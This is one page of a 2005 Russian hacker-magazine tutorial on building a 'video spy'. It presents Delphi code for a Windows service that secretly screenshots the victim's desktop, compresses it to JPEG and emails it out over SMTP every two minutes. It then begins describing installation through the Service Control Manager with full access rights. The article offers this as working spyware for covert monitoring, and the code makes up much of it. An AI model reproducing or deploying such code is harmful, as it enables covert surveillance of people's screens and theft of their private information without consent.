Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #76, АПРЕЛЬ 2005 г.

Видео-шпион

gh05t (gh05t@yandex.ru)

Хакер, номер #076, стр. 076-108-4


В задачи основного кода входит: получение свежего снимка рабочего стола, сжатие его и отправка по заданному в параметрах переменной mess адресу. Каждый момент мы рассмотрим подробно.

Снять скриншот с рабочего стола – это, наверное, самое простое во всем сервисе визуального наблюдения. Делов-то - 2 строки. Сначала получаем хэндл контекста устройства (помнишь, мы переменную desk объявляли?). Делается это с помощью функции GetDC, которая по хэндлу окна выдаст хэндл контекста устройства (хэндл окна десктопа получается с помощью GetDesktopWindow). Этот контекст позволит получить доступ к изображению рабочего стола. А затем с помощью функции BitBlt полностью копируем изображение в наш буфер bmScreen.

BitBlt(bmScreen.Canvas.Handle, 0, 0, bmScreen.Width, bmScreen.Height, desk, 0, 0, SRCCOPY);

Для того чтобы ужать изображение (не хочешь же ты получать по 1,5 Мб, если можно 200 Кб) запишем его в переменную jpeg методом Assign, а затем сохраним в файл методом SaveToFile.

Полученный файл прикрепим к письму, с помощью переменной attach, в конструкторе которой мы укажем, к какому письму и какой файл присоединять.

Ну а, имея готовое письмо со скриншотом рабочего стола в аттаче, можно послать его по мылу. Я предлагаю взять процесс соединения с smtp-сервером в блок try-except, чтобы, если вдруг у нас возникнет ошибка (сервер не доступен там, или инет упал), сервис бы не помер. Если возникнет ошибка в таком блоке, шпион подождет полминуты и перейдет к следующей итерации цикла. Если же соединение прошло успешно, то мы просто отошлем созданное сообщение со скрином, отключимся и освободим переменную-аттач.

Рабочий код сервиса

desk:=GetDC(GetDesktopWindow);

BitBlt(bmScreen.Canvas.Handle, 0, 0, bmScreen.Width, bmScreen.Height, desk, 0, 0, SRCCOPY);

Jpeg.Assign(bmScreen);

Jpeg.SaveToFile('С:\screenshot.jpg');

attach:=TIdAttachment.Create(mess.MessageParts,'С:\screenshot.jpg');

try

smtp.Connect(-1);

except

sleep(30000); { полминуты }

continue;

end;

smtp.Send(mes);

smtp.Disconnect;

attach.Free;

{ пауза между итерациями - две минуты }

sleep(2*60000);

Установка

Наш видео-шпион закончен. Осталось только установить его в систему и наслаждаться результатом его работы. Правда для установки сервиса в систему, как это не прискорбно, потребуется еще одна программка, разработкой которой мы сейчас и займемся.

Все сервисы, запускаемые при старте Windows, загружаются специальной системой, называемой SCM (Service Control Manager). Для взаимодействия с этой системой есть ряд функций, которыми нам предстоит манипулировать.

Первая – OpenSCManager, функция, которая «откроет» SCM и получит определенные права доступа для работы с сервисами. Ей передаются имя машины, имя базы данных сервисов (оба параметра для локальных компьютеров - nil) и права доступа. Мы не будем скромничать и попросим в нашем установщике максимальных прав - SC_MANAGER_ALL_ACCESS. Если не произошло никаких ошибок, функция вернет нам хэндл SCM’а, без которого никакая работы с сервисами невозможна.

Назад на стр. 076-108-3  Содержание  Вперед на стр. 076-108-5